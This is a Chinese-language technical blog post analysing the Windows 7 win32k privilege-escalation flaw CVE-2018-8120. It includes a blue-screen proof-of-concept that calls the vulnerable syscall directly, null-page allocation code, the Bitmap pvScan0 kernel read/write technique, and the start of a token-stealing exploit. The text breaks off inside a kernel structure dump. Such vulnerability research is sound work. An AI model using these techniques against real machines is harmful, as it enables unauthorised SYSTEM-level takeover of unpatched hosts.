CVE-2018-8120 分析

来源:https://www.cnblogs.com/amaza/archive/2018/08/30/9557838.html
-Advertisement-
Play Games

[TOC] CVE 2018 8120 分析 1、實驗環境 1.1、操作系統 windows 7 sp1 x86 未打補丁 "磁力鏈接" 1.2、用到的分析工具 windbg 32位 "下載地址" IDA pro 7.0 "正版鏈接" PCHunter "下載地址" ProcessHacker "下 ...


目錄

CVE-2018-8120 分析

1、實驗環境

1.1、操作系統

1.2、用到的分析工具

2、假如

2.1、我想提權

​ 我想使我編寫的一個普通的R3的程式一運行就獲得SYSTEM最高許可權。一個常用的辦法是: 替換當前進程_EPROCESS結構的Token成員的值為system進程的_EPROESS的Token成員值。一旦替換成功,那麼從替換成功的那一刻開始一直到程式退出這段時間里,程式所做的一切操作都是以SYSTEM最高許可權執行的。

​ 但是,要完成這項工作在R3層面上直接上shellcode是不行的,因為所有進程的EPROCESS結構都是位於內核空間中的,如果要對其進行讀寫則代碼必須運行在內核空間中才行,用戶空間中的代碼如果對其進行讀寫則會產生保護性異常。

​ 所以問題就來了,怎樣讓我們的替換Token的shellcode(這段shellcode是怎麼寫的在後面會有詳細解釋)運行在內核空間中呢?

2.2、 有一個處於內核空間,極少被調用的函數

2.2.1、快速系統調用簡介

​ 雖然用戶程式不能直接訪問內核空間,但是用戶程式可以通過調用系統服務來間接訪問系統空間中的數據或間接調用執行系統空間中的代碼。當調用系統服務時,調用線程會從用戶模式切換到內核模式,調用結束後再返回到用戶模式,也就是所謂的模式切換,有時也被稱為上下文切換(Context Switch)。模式切換是通過軟中斷或專門的快速系統調用(Fast System Call)指令來實現。

​ 下麵我來簡要介紹下Windows 7 X86 sp1 是如何通過SYSENTER指令實現快速系統調用的。舉一個簡單的例子。調用ReadFile()這個函數的流程為下圖所示:

​ 在windows 7 sp1 x86中使用微軟的親兒子WINDBG(本地內核調試模式,具體設置百度,PS:設置完後需使用管理員許可權啟動WINDBG否則使用BCDEDIT設置重啟後依然不能啟用本地內核調試模式)查看NTDLL.DLL中導出的NtReadFile()函數的反彙編:

lkd> uf ntdll!NtReadFile
ntdll!ZwReadFile:
775762b8 b811010000      mov     eax,111h ;NtReadFile的系統服務號碼為 0x111
775762bd ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
775762c2 ff12            call    dword ptr [edx]
775762c4 c22400          ret     24h

那麼當第二句 mov edx,offset SharedUserData!SystemCallStub 執行後,edx 值為0x7ffe0300。因為第三句是 call dword ptr [edx] 所以繼續查看地址SharedUserData!SystemCallStub 處的值

lkd> dd SharedUserData!SystemCallStub
7ffe0300  775770b0 775770b4 00000000 00000000

​ 繼續執行call dword ptr [edx] 則跳轉到地址0x775770b0處執行,繼續使用神器反彙編

lkd> uf 775770b0 
ntdll!KiFastSystemCall:
775770b0 8bd4            mov     edx,esp
775770b2 0f34            sysenter
775770b4 c3              ret

​ 當執行sysenter指令後,進入內核模式,調用KisystemService()函數,該函數會根據服務ID從系統服務分發表(System Service Dispatch Table)中找到要調用的服務函數的函數地址和參數描述,然後調用內核中正真的NtReadFile()函數。那個服務ID就是進入SharedUserData!SystemCallStub之前那個mov eax,111h的111h。

2.2.2、SSDT表 和 ShadowSSDT 表和 HalDispatchTable硬體抽象層調度表 簡介

​ 再windows NT系列操作系統中,有兩種類型的系統服務,一種是實現在內核文件中,是常用的系統服務。另一種實現在win32k.sys中,是一些與圖形顯示及用戶界面相關的系統服務。這些系統服務在系統運行期間常駐於系統記憶體區中,並且他們的入口地址保存在兩個系統服務地址表KiServiceTable和Win32pServiceTable中.所有的系統服務地址表都保存在系統服務描述表(SDT)中。

​ 目前windows系統共有兩個SDT,一個是ServiceDescriptorTable(SSDT),另一個是ServiceDescriptorTableShadow(SSDTShadow).

​ 其中ServiceDescriptorTable中只包含KiServiceTable,而ServiceDescriptorTableShadow中既包含KiServiceTable又包含Win32pServiceTbale.其中SSDT是可以訪問的而SSDTShadow是不公開的。

​ 使用windbg查看SSDT和SSDTShadow如下:

lkd> dd nt!KeServiceDescriptorTable
83fad9c0  83ec1d9c 00000000 00000191 83ec23e4 
83fad9d0  00000000 00000000 00000000 00000000 //SSDT中該項為空

lkd> dd nt!KeServiceDescriptorTableShadow
83fada00  83ec1d9c 00000000 00000191 83ec23e4
83fada10  955b6000 00000000 00000339 955b702c //SSDTShadow中該項不為空

SDT的表項中成員按以下數據結構組成:
typedef struct _KSYSTEM_SERVICE_TABLE
{
    PULONG ServiceTableBase;         // 0x00 系統服務地址表地址
    PULONG ServiceCounterTableBase;  // 0x04 
    PULONG NumberOfService;          // 0x08 服務函數的個數
    ULONG ParamTableBase;            // 0x0c 該系統服務的參數表
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE; //sizeof=0x10

那麼根據SSDTShadow可以得到KiServiceTable的地址為0x83ec1d9c,包含0x191個服務函數;
可以得到Win32pServiceTable的地址為0x955b6000,包含0x339個服務函數。

​ 這時我們去看看Win32pServiceTable處的東西吧!

lkd> dds 955b6000 
955b6000  95543d37 win32k!NtGdiAbortDoc
955b6004  9555bc23 win32k!NtGdiAbortPath
955b6008  953b71ac win32k!NtGdiAddFontResourceW
955b600c  95552c5d win32k!NtGdiAddRemoteFontToDC
955b6010  9555d369 win32k!NtGdiAddFontMemResourceEx
955b6014  95544554 win32k!NtGdiRemoveMergeFont
955b6018  955445e8 win32k!NtGdiAddRemoteMMInstanceToDC
955b601c  9546dad1 win32k!NtGdiAlphaBlend
955b6020  9555cb94 win32k!NtGdiAngleArc
955b6024  95421965 win32k!NtGdiAnyLinkedFonts
955b6028  95421882 win32k!NtGdiFontIsLinked
955b602c  9555eead win32k!NtGdiArcInternal
955b6030  9555d085 win32k!NtGdiBeginGdiRendering
955b6034  9555bc97 win32k!NtGdiBeginPath
955b6038  954628cb win32k!NtGdiBitBlt

​ 可以發現它的每一個成員都是一個四位元組的服務函數指針!如果把這裡面某個函數指針改為我們shellcode的地址,再在用戶層調用它的R3對應函數,那麼不就讓我們的shellcode在高許可權執行了嗎?但是,我們需要一個更好的目標,它在我們程式的運行階段不會被其他任何進程調用。(因為又不是你一個程式在調系統服務函數,如果其他程式調用了你改了函數指針指向的函數,就會有不可預料的事情發生,比如BOSD).

​ 另一個很好的表是硬體抽象層(HAL)調度表nt!HalDispatchTable。這裡也存儲了系統調用地址,不過是HAL常式的地址。用溫帝霸查看如下所示:

lkd> dds nt!HalDispatchTable
83f6e3f8  00000004
83f6e3fc  83e338a2 hal!HaliQuerySystemInformation
83f6e400  83e341b4 hal!HalpSetSystemInformation

​ 註意到nt!HalDispatchTable+4那個地址指向的函數了嗎?這個函數就是我們要覆蓋為shellcode地址的最佳選擇。因為有一個名為NtQueryIntervalProfile的未記錄函數,它獲取當前為給定配置文件源設置的配置文件間隔。該函數可以通過調用GetProcAddress從NTDLL.DLL中獲取地址,在userland調用。該函數在內部調用KeQueryIntervalProfile函數 :

kd> u nt!NtQueryIntervalProfile + 0x62
nt!NtQueryIntervalProfile+0x62:
8414fecd 7507            jne     nt!NtQueryIntervalProfile+0x6b (8414fed6)
8414fecf a1acdbf683      mov     eax,dword ptr [nt!KiProfileInterval (83f6dbac)]
8414fed4 eb05            jmp     nt!NtQueryIntervalProfile+0x70 (8414fedb)
8414fed6 e83ae5fbff      call    nt!KeQueryIntervalProfile (8410e415);調用KeQueryIntervalProfile
8414fedb 84db            test    bl,bl
8414fedd 741b            je      nt!NtQueryIntervalProfile+0x8f (8414fefa)
8414fedf c745fc01000000  mov     dword ptr [ebp-4],1
8414fee6 8906            mov     dword ptr [esi],eax
//本地u好像許可權不夠,雙機調u成功

​ 繼續反彙編nt!KeQueryInterValProfile

kd> u nt!KeQueryIntervalProfile+0x23
nt!KeQueryIntervalProfile+0x23:
8410e438 ff15fce3f683    call    dword ptr [nt!HalDispatchTable+0x4 (83f6e3fc)]
8410e43e 85c0            test    eax,eax
8410e440 7c0b            jl      nt!KeQueryIntervalProfile+0x38 (8410e44d)
8410e442 807df400        cmp     byte ptr [ebp-0Ch],0
8410e446 7405            je      nt!KeQueryIntervalProfile+0x38 (8410e44d)
8410e448 8b45f8          mov     eax,dword ptr [ebp-8]
8410e44b c9              leave
8410e44c c3              ret

​ 發現了嗎?nt!HalDispatchTable+0x4不就是hal!HaliQuerySystemInformation嗎?所以我們可以用userland中的令牌(Token)竊取shellcode的地址覆蓋這個指針,那麼一旦我們調用NtQueryIntervalProfile函數的時候,就會在內核中運行我們的shellcode啦!!!

​ 但是繞來繞去,我們還是沒有辦法在R3直接修改內核空間中的記憶體。。。:slightly_smiling_face:

2.3、R3任意修改R0地址空間記憶體

​ 這裡有一個非常強的方法來實現任意記憶體讀寫,那就是利用Bitmap內核對象中的pvScan0欄位。系統API的GetBitmapBitsSetBitmapBits可以讀寫pvScan0所指向記憶體地址的內容。具體細節在下文中有。

​ 如果這個pvScan0指向nt!HalDispatchTable+0x4,那麼我們就可以先用GetBitMap()把原本的HaliQuerySystemInforMation函數地址保存起來,再用SetBitMap()函數將其改為shellcode的地址,那麼這個時候調用NtQueryIntervalProfile就在內核中執行了我們的shellcode,shellcode執行完之後再用SetBitMap()將剛剛保存的原地址改回去就行了。

​ 但是......又怎麼在userland改pvScan0的值啊,這時就要利用CVE-2018-8120這個漏洞了。下麵開始進入正題。

3、由WIN32K!SetImeInfoEx()引發的漏洞

3.1、分析

​ 首先,在VM中裝好windows 7 sp1 x86版本,使其斷開網路連接,防止系統自動安裝補丁。將位於C:\Windows\System32\目錄下的win32k.sys文件拿到IDA中F5分析(就只會IDA的F5的小白一隻)。在函數視窗查找到SetImeInfoEx()函數,雙擊之後按F5得到

signed int __stdcall SetImeInfoEx(signed int a1, _DWORD *a2)
{
  signed int result; // eax
  _DWORD *v3; // eax
  _DWORD *v4; // eax

  result = a1;
  if ( a1 )
  {
    v3 = *(_DWORD **)(a1 + 20);
    while ( v3[5] != *a2 )
    {
      v3 = (_DWORD *)v3[2];
      if ( v3 == *(_DWORD **)(a1 + 20) )
        return 0;
    }
    v4 = (_DWORD *)v3[11];
    if ( !v4 )
      return 0;
    if ( !v4[18] )
      qmemcpy(v4, a2, 0x15Cu);
    result = 1;
  }
  return result;
}

​ 先啥都不看,看到qmemcpy(v4,a2,348u)沒得?假如我們可以指定v4的值和a2的值不就可以實現任意記憶體拷貝了嗎?只不過是將a2指向的348個位元組拷貝到v4指向的記憶體,拷貝得好像有點多。不管不管,先看看能不能控制a2和v4。

​ 假如能夠執行到qmemcpy() , 由a4等於v3[11],v3的值與a1得值有關,所以需要知道a1和a2到底是啥子東西。因為win32k.sys並沒有導出SetImeInfoEx ,那就看看是win32k.sys中的哪個函數調了SetImeInfoEx,切換回這個函數的文本視圖(IDA View1),點擊view->open subviews->function calls 查看調用關係。如下圖所示:

​ 就只有NtUserSetImeInfoEx 是Caller。F5查看NtUserSetImeInfoEx的代碼:v6是NtUserSetImeInfoEx的參數參數類型為tagIMEINFOEX ,v4是通過_GetProcessWindowStation得到的返回值,其類型為tagWINDOWSTATION 。

//調用處關鍵代碼
v4 = _GetProcessWindowStation(0);
v1 = SetImeInfoEx(v4, &v6);

​ 所以由此可得:

0 signed int __stdcall SetImeInfoEx(tagWINDOWSTATION* a1, tagIMEINFOEX *a2)
1 {
2  signed int result; // eax
3  tagKL *v3; // eax
4  tagIMEINFOEX *v4; // eax
5
6  result = a1;
7  if ( a1 )
8  {
9    v3 = a1->spkList; // 如果spkList為NULL,則下麵使用v3訪問的時候將觸發訪問異常
10    while ( v3->hkl != a2->hkl )
11   {
12      v3 = v3->pklNext;
13      if ( v3 == a1->spkList )
14        return 0;
15    }
16    v4 = v3->piiex;
17    if ( !v4 )
18      return 0;
19    if ( !v4->fLoadFlag)
20      qmemcpy(v4, a2, 0x15Cu); //sizeof(tagIMEINFOEX)=0x15c
21    result = 1;
22  }
23  return result;
24}

​ 下麵開始分析代碼:

  • 第9行:v3 = a1->spkList 如果a1->spkList的值為0,那麼v3也就為0了,那麼執行while(v3->hkl != a2->hkl)的時候,就會訪問虛擬地址為0的地址空間,而這一區域是空指針賦值分區(x86 32位下範圍為:0x00000000-0x0000FFFF),對這一分區進行讀取或寫入會引發訪問違規。如果是r3對這一分區進行讀寫,則會彈出一個消息提示框提示程式錯誤。如果是r0對這一分區進行讀寫,則會直接觸發藍屏。“3.2、驗證漏洞POC”中對這一點進行了實驗,請跳過去閱讀。

3.2、驗證漏洞POC

​ win32k.sys中的NtUserSetImeInfoEx是用於將用戶進程定義的輸入法擴展信息對象設置在與當前進程關聯的視窗站中。

​ 視窗站tagWINDOWSTATION結構體定義如下:

win32k!tagWINDOWSTATION
   +0x000 dwSessionId      : Uint4B
   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION
   +0x008 rpdeskList       : Ptr32 tagDESKTOP
   +0x00c pTerm            : Ptr32 tagTERMINAL
   +0x010 dwWSF_Flags      : Uint4B
   +0x014 spklList         : Ptr32 tagKL
   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO
   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
   +0x020 spwndClipOpen    : Ptr32 tagWND
   +0x024 spwndClipViewer  : Ptr32 tagWND
   +0x028 spwndClipOwner   : Ptr32 tagWND
   +0x02c pClipBase        : Ptr32 tagCLIP
   +0x030 cNumClipFormats  : Uint4B
   +0x034 iClipSerialNumber : Uint4B
   +0x038 iClipSequenceNumber : Uint4B
   +0x03c spwndClipboardListener : Ptr32 tagWND
   +0x040 pGlobalAtomTable : Ptr32 Void
   +0x044 luidEndSession   : _LUID
   +0x04c luidUser         : _LUID
   +0x054 psidUser         : Ptr32 Void

​ R3中可以通過系統提供的介面CreateWindowStation()和SetProcessWindowStation(),新建一個新的WindowStation對象並和當前進程關聯起來,值得註意的是,使用CreateWindowStation() 新建的WindowStation對象其偏移0×14位置的spklList欄位的值預設是零。那麼 根據SetImeInfoEx()函數的流程,當WindowStation->spklList欄位為0,函數繼續執行將觸發0地址訪問異常。

3.2.1、驗證使用CreateWindowStation()新建的windowStation對象的spkList欄位是否預設為0

​ 使用以下代碼創建一個WindowStation

#include <Windows.h>
#include <stdio.h>
int main()
{
    HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
    printf("handle:0x%X\n", hSta);
    system("pause");
    return 0;
}

​ 在windows 7 sp1 x86中運行得到如下結果:(每次可能不同)

​ 使用PCHUNTER查看其進程句柄如下圖:找到句柄值為0x3c得哪一行得到內核中tagWINDOWSTATION 的地址為:0x86c12960

​ 使用windbg本地內核調試模式,先切換使用!process 0 0查找到程式的PROCESS值,再使用.process 值切換當前implicit process.就可以查看WindowStation->spklList欄位的值了。結果的確為null(0)。

lkd> dt tagWINDOWSTATION 0x86c12960
win32k!tagWINDOWSTATION
   +0x000 dwSessionId      : 1
   +0x004 rpwinstaNext     : (null) 
   +0x008 rpdeskList       : (null) 
   +0x00c pTerm            : 0x955ceb80 tagTERMINAL
   +0x010 dwWSF_Flags      : 4
   +0x014 spklList         : (null) //該欄位為零
   +0x018 ptiClipLock      : (null) 
   ....

​ 那麼如果繼續使用SetProcessWindowStation()將剛剛創建的視窗站(spkList欄位為0)與當前程式綁定,那麼

win32k!NtUserSetImeInfoEx()系統服務函數 中調用_GetProcessWindowStation()返回的就是spkList欄位為零的視窗站內核對象, 也就是SetImeInfoEx()的第一個參數!!!!!! 那麼就會觸發藍屏。

3.2.2、驗證觸發藍屏

​ 通過以上的分析,那麼下一步就是要調用win32k!NtUserSetImeInfoEx()系統服務函數了,NtUserSetImeInfoEx()系統服務函數未導出,需要自己在用戶進程中調用該系統服務函數,以執行漏洞函數SetImeInfoEx() 。我們使用調用UserSharedData!SystemCallStub(因為是固定記憶體區,所以這個值windows 7 sp1 x86中是不變的)。在2.2.1中我介紹了調用系統服務函數的方法,sysenter是根據EAX寄存器中的系統服務號來查找調用系統服務函數的,那麼下麵我們來獲取這個函數的系統服務號,因為是win32k,所以該函數位於SSDTShadow中。在windows 7 sp1 x86中運行PCHUNTER,查看內核鉤子->ShadowSSDT獲取序號

那麼NtUserSetImeInfoEx的系統服務號 = 0x1000+0x226(556的16進位) = 0x1226 ,你可能會奇怪為什麼要加0x1000這個值,其實當初我看到這個算式的時候也是一臉懵逼,於是我就雙機調試了整個sysenter過程,總算明白了為什麼是加0x1000。下麵貼出關鍵彙編代碼

lkd> u nt!KiFastCallEntry+0x8f L10
nt!KiFastCallEntry+0x8f:
83e8114f 8bf8            mov     edi,eax //eax中是系統服務號
83e81151 c1ef08          shr     edi,8
83e81154 83e710          and     edi,10h
83e81157 8bcf            mov     ecx,edi
83e81159 03bebc000000    add     edi,dword ptr [esi+0BCh] //第二個操作數是SSDTShadow的地址
83e8115f 8bd8            mov     ebx,eax
83e81161 25ff0f0000      and     eax,0FFFh //取序號
83e81166 3b4708          cmp     eax,dword ptr [edi+8] //判斷序號是否超過了該表服務函數總數
83e81169 0f8333fdffff    jae     nt!KiBBTUnexpectedRange (83e80ea2) //大於等於則退出並報錯

​ 關鍵就在於shrand這兩句,如果這樣還不清楚的話就舉個例子吧。假如eax為0x1126

  • mov edi,eax edi=0x00001126 ,eax=0x00001126

  • shr edi,8 導致 edi=0x00000011

  • and edi,10h edi=0x10

  • add edi,SSDTShadow的地址 還記得2.2.2節中介紹SSDTShadow說的嗎?SSDTShadow中的表項中成員按以下數據結構組成:
    typedef struct _KSYSTEM_SERVICE_TABLE
    {
    PULONG ServiceTableBase; // 0x00 系統服務地址表地址
    PULONG ServiceCounterTableBase; // 0x04
    PULONG NumberOfService; // 0x08 服務函數的個數
    ULONG ParamTableBase; // 0x0c 該系統服務的參數表
    } KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE; //sizeof=0x10

    SSDTShadow的第一個表項是KiServiceTable(SSDTShadow首地址+0),第二個表項是win32k.sys的win32pServiceTable!(SSDTShadow首地址+0x10),這個0x10不就是sizeof(KSYSTEM_SERVICE_TABLE)嗎?

    所以如果是調第一個表項中的系統服務函數,那麼系統服務號 = 0x0000+ 序號,如果是調用第二個表項中的系統服務函數就是 系統服務號 = 0x1000+ 序號。那個1其實就是表示的是SSDTShadow中第幾個表項。

    ​ 好了,最後要獲取的東西就是位於固定記憶體的UserSharedData!SystemCallSutb

    lkd> dd SystemCallStub
    7ffe0300  777370b0 777370b4 00000000 00000000

    ​ 得到這個值為0x7ffe0300(這個不變),它所指向地址中的值為0x777370b0(這個可能會變)就為KiFastSystemCall的地址。

    lkd> u 777370b0 
    ntdll!KiFastSystemCall:
    777370b0 8bd4            mov     edx,esp
    777370b2 0f34            sysenter
    777370b4 c3              ret

    ​ 所以我們的驗證POC代碼如下:

    #include <Windows.h>
    #include <stdio.h>
    __declspec(naked) NTSTATUS NTAPI NtSetUserImeInfoEx(PVOID imeinfoex)
    {
      __asm {
          mov eax, 0x1226
          mov edx, 0x7ffe0300
          call dword ptr[edx]
          ret 0x04
      }
    }
    int main()
    {
      HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
      SetProcessWindowStation(hSta);
      char ime[0x800];
      NtSetUserImeInfoEx((PVOID)&ime);
      return 0;
    }

    ​ 編譯運行,果然藍屏了。附上截圖,好開心啊。

4、windows 7分配零頁記憶體

​ 在32位windows 7系統中,可以用的虛擬地址空間位4GB,其中地址範圍為:0x00000000~0x0000FFFF的區域被稱為空指針賦值分區,保留該分區的目的是為了幫助程式員捕獲對空指針的賦值。如果進程中的線程試圖讀取或寫入位於這一分區內的記憶體地址,就會引發訪問違規。

​ 《Windows核心編程第五版》第13章Windows記憶體體繫結構中在介紹空指針賦值分區時有這樣一句話:

值得註意的是,沒有任何辦法可以讓我們分配到位於這一地址區間的虛擬記憶體,即便是使用Win32應用程式編程介面也不例外。

​ 哦?是嗎?那我就在windows 7 sp1 x86上運行一下下麵這段代碼生成的程式試試:

#include<Windows.h>
#include<stdio.h>
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
    IN HANDLE               ProcessHandle,
    IN OUT PVOID            *BaseAddress,
    IN ULONG                ZeroBits,
    IN OUT PULONG           RegionSize,
    IN ULONG                AllocationType,
    IN ULONG                Protect);
void TestNullPageAlloc()
{
    HMODULE hntdll = GetModuleHandle("ntdll");
    _NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
    PVOID addr = (PVOID)0x100;
    DWORD size = 0x1000;
    NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    DWORD * p = NULL;
    *p = 6;
    printf("p=%p *p=%d\n",p, *p);
    system("pause");
}
int main()
{
    TestNullPageAlloc();
    return 0;
}

​ 附上運行截圖:

​ 使用PCHUNTER查看該程式記憶體表:

​ 註意到了嗎?分配成功了。這是利用的ZwAllocateVirtualMemory這個函數。該函數在指定進程的虛擬空間中申請一塊記憶體,該塊記憶體預設將以64kb大小對齊,頁面大小為4kb。 下麵來解釋了為啥上圖中是0x0000~0x1FFF(不包括0x2000,因為大小是0x2000)。

​ 由BaseAddress=0x100,申請大小為0x1000可知我們需要的分配地址空間範圍為:0x100~0x1100-0x1。因為分配記憶體塊的起始地址必須為64kb的整數倍,所以系統決定起始地址為0x00000000,又因為分配的基本單位頁面大小為4kb,所以0x1000~0x2000-0x01這一段也會被分配。所以實際分配的地址範圍就為0x00000000~0x00001FFF。

​ zwAllocateVirtualMemory函數,微軟沒有給出公開的文檔,但是可以通過相關資料或是逆向來瞭解該函數的使用方式。

 NTSYSAPI NTSTATUS NTAPI ZwAllocateVirtualMemory (
IN HANDLE ProcessHandle,
IN OUT PVOID BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);

​ 註:若指定BaseAddress為0則系統會尋找第一個未使用的記憶體塊來分配,而不是在零頁記憶體中分配。 所以需要利用對齊粒度和頁面大小來做騷操作。

​ 所以:**如果我們成功申請了記憶體,使其可寫可讀,那麼我們剛剛利用SetImeInfoEx函數中的藍屏觸發POC就不會藍屏了,因為空指針指向的地方是可以讀寫的了。而且你註意到了嗎?我們成功申請的空指針記憶體區是可以在R3操作的,不信看這一節開頭的那個驗證程式:DWORD* p=NULL;*p=6;**

​ 所以SetImeInfoEx函數的第一個參數的spklList成員所指向的值,我們可以直接在R3進行操作了。

5、Bitmap GDI函數實現內核任意地址讀/寫

​ 當創建一個bitmap時,一個結構被附加到了進程PEB的GdiSharedHandleTable成員中。 GdiSharedHandleTable是一個GDICELL結構體數組的指針 :

typedef struct
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL; //sizeof = 0x10

​ 我們可以用以下方式找到Bitmap的內核地址

addr = PEB.GdiSharedHandleTable + (handle &0xffff) *sizeof(GDICELL) ;取序號*大小獲得偏移

​ 下麵編寫代碼創建一個Bitmap對象,並列印內核句柄對象,然後使用工具找到這這個對象,使用上面的公式進行驗證。

#include<Windows.h>
#include<stdio.h>
void TestCreateBitmap()
{
    PVOID buf = malloc(0x64 * 0x64 * 4);
    HANDLE handle = CreateBitmap(0x64, 0x64, 1, 32, buf);
    printf("handle=0x%X\n", handle);
    system("pause");
}
int main()
{
    TestCreateBitmap(); 
    return 0;
}

​將其放入windows 7 sp1 x86中運行結果如下:

使用ProcessHacker查看驗證程式的GDI句柄表

打開windbg雙機調試,先切換進程,進行如下操作:發現確實和使用工具查出的地址一樣:0xfe64c000

kd> !process 0 0 Test.exe
PROCESS 86fc2c20  SessionId: 1  Cid: 0e84    Peb: 7ffd4000  ParentCid: 0504
    DirBase: 7f2d0440  ObjectTable: a4843218  HandleCount:  18.
    Image: Test.exe

kd> .process 86fc2c20  
Implicit process is now 86fc2c20
WARNING: .cache forcedecodeuser is not enabled
kd> dt _PEB GdiSharedHandleTable 7ffd4000  
nt!_PEB
   +0x094 GdiSharedHandleTable : 0x00670000 Void
kd> dd 0x00670000 + (0xB0050462 &0xffff)*0x10 l1
00674620  fe64c000

​ 至此,Bitmap的內核地址有了,那麼該怎麼用呢?GDICELL結構的pKernelAddress成員指向BASEOBJECT結構,在這個BASEOBJECT結構後面的緊跟那個結構才是關鍵所在。如果是點陣圖那麼這個結構為下麵的SURFOBJ結構。

typedef struct _BASEOBJECT     //<[偏移,大小] 連續序號(表示BASEOBJECT後跟的就是點陣圖_SURFOBJ)
    HANDLE     hHmgr;          //<[00,04] 00
    PVOID      pEntry;         //<[04,04] 01
    LONG       cExclusiveLock; //<[08,04] 02
    ULONG Tid;                 //<[0c,04] 03
} BASEOBJECT, *POBJ; //sizeof=0x10

typedef struct _SURFOBJ {
    DHSURF  dhsurf;         //<[00,04] 04
    HSURF   hsurf;          //<[04,04] 05
    DHPDEV  dhpdev;         //<[08,04] 06
    HDEV    hdev;           //<[0C,04] 07
    SIZEL   sizlBitmap;     //<[10,08] 08 09
    ULONG   cjBits;         //<[18,04] 0A
    PVOID   pvBits;         //<[1C,04] 0B
    PVOID   pvScan0;        //<[20,04] 0C
    LONG    lDelta;         //<[24,04] 0D
    ULONG   iUniq;          //<[28,04] 0E
    ULONG   iBitmapFormat;  //<[2C,04] 0F
    USHORT  iType;          //<[30,02] 10
    USHORT  fjBitmap;       //<[32,02] xx
} SURFOBJ;

typedef struct tagSIZEL {
    LONG cx;
    LONG cy;
} SIZEL, *PSIZEL;

​ pvScan0 成員就是我們需要利用的,因為GetBitmapBits 和 SetBitmapBits 這兩個API能操作這個成員。GetBitmapBits 允許我們在 pvScan0 地址上讀任意位元組,SetBitmapBits 允許我們在 pvScan0 地址上寫任意位元組。如果我們有一個漏洞(例如:CVE-2018-8120)可以修改一次內核地址, 把 pvScan0 改成我們想要操作的內核地址,這樣是不是就實現了可以重覆利用的內核任意讀寫呢?

6、漏洞利用

6.1、先寫出"利用環境"

  • 分配零頁記憶體
  • 創建並設置視窗站
//分配零頁記憶體
HMODULE hntdll = GetModuleHandle("ntdll");
    _NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
    PVOID addr = (PVOID)0x100;
    DWORD size = 0x10;
    NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//創建視窗站
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
//設置視窗站
SetProcessWindowStation(hSta);

6.2、寫一段獲取system.exe進程令牌的shellcode

​ 首先來點基礎知識:每個進程都在內核中都會有且僅有一個EPROCESS結構。該結構幾乎包括了進程所有關鍵信息和重要資產。其中EPROCESS結構中的Token欄位記錄著這個進程的TOKEN結構的地址,進程的很多與安全相關的信息是記錄在這個TOKEN結構中的。所以如果我們想獲得SYSTEM許可權,就可以將擁有SYSTEM許可權進程的Token欄位的值找到,並賦值給我們創建程式進程的EPROCESS的Token欄位。就可以完成提權了。

​ 所以我們在內核空間執行的shellcode的第一步 是找到擁有SYSTEM許可權的進程的EPROCESS結構地址,擁有SYSTEM許可權的進程就是System進程(該PID固定為4)。第二步就是將它的Token欄位賦值給我們程式EPROCESS的Token。

​ 那麼如何在內核空間中找到System進程的EPROCESS呢?那麼我們先找到自己進程的EPROCESS結構。在R0中,fs寄存器指向一個叫KPCR的數據結構:

lkd> dt _KPCR -r1
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : Ptr32 Void
   +0x008 Spare2           : Ptr32 Void
   +0x00c TssCopy          : Ptr32 Void
   +0x010 ContextSwitches  : Uint4B
   +0x014 SetMemberCopy    : Uint4B
   +0x018 Used_Self        : Ptr32 Void
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   +0x024 Irql             : UChar
   +0x028 IRR              : Uint4B
   +0x02c IrrActive        : Uint4B
   +0x030 IDR              : Uint4B
   +0x034 KdVersionBlock   : Ptr32 Void
   +0x038 IDT              : Ptr32 _KIDTENTRY
   +0x03c GDT              : Ptr32 _KGDTENTRY
   +0x040 TSS              : Ptr32 _KTSS
   +0x044 MajorVersion     : Uint2B
   +0x046 MinorVersion     : Uint2B
   +0x048 SetMember        : Uint4B
   +0x04c StallScaleFactor : Uint4B
   +0x050 SpareUnused      : UChar
   +0x051 Number           : UChar
   +0x052 Spare0           : UChar
   +0x053 SecondLevelCacheAssociativity : UChar
   +0x054 VdmAlert         : Uint4B
   +0x058 KernelReserved   : [14] Uint4B
   +0x090 SecondLevelCacheSize : Uint4B
   +0x094 HalReserved      : [16] Uint4B
   +0x0d4 InterruptMode    : Uint4B
   +0x0d8 Spare1           : UChar
   +0x0dc KernelReserved2  : [17] Uint4B
   +0x120 PrcbData         : _KPRCB

​ 註意它的最後一個成員PrcbData,它的類型是_KPRCB。使用windbg查看:

lkd> dt _KPRCB
nt!_KPRCB
   +0x000 MinorVersion     : Uint2B
   +0x002 MajorVersion     : Uint2B
   +0x004 CurrentThread    : Ptr32 _KTHREAD //指向當前線程_KTHREAD結構的指針。
   +0x008 NextThread       : Ptr32 _KTHREAD
   +0x00c IdleThread       : Ptr32 _KTHREAD
.....

​ 也就說fs:[124]其實是指向當前線程的_KTHREAD ,下麵繼續查看 _KTHREAD結構:

lkd> dt _KTHREAD -r1
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
  ....
   +0x03c MiscFlags        : Int4B
   +0x040 ApcState         : _KAPC_STATE
      +0x000 ApcListHead      : [2] _LIST_ENTRY
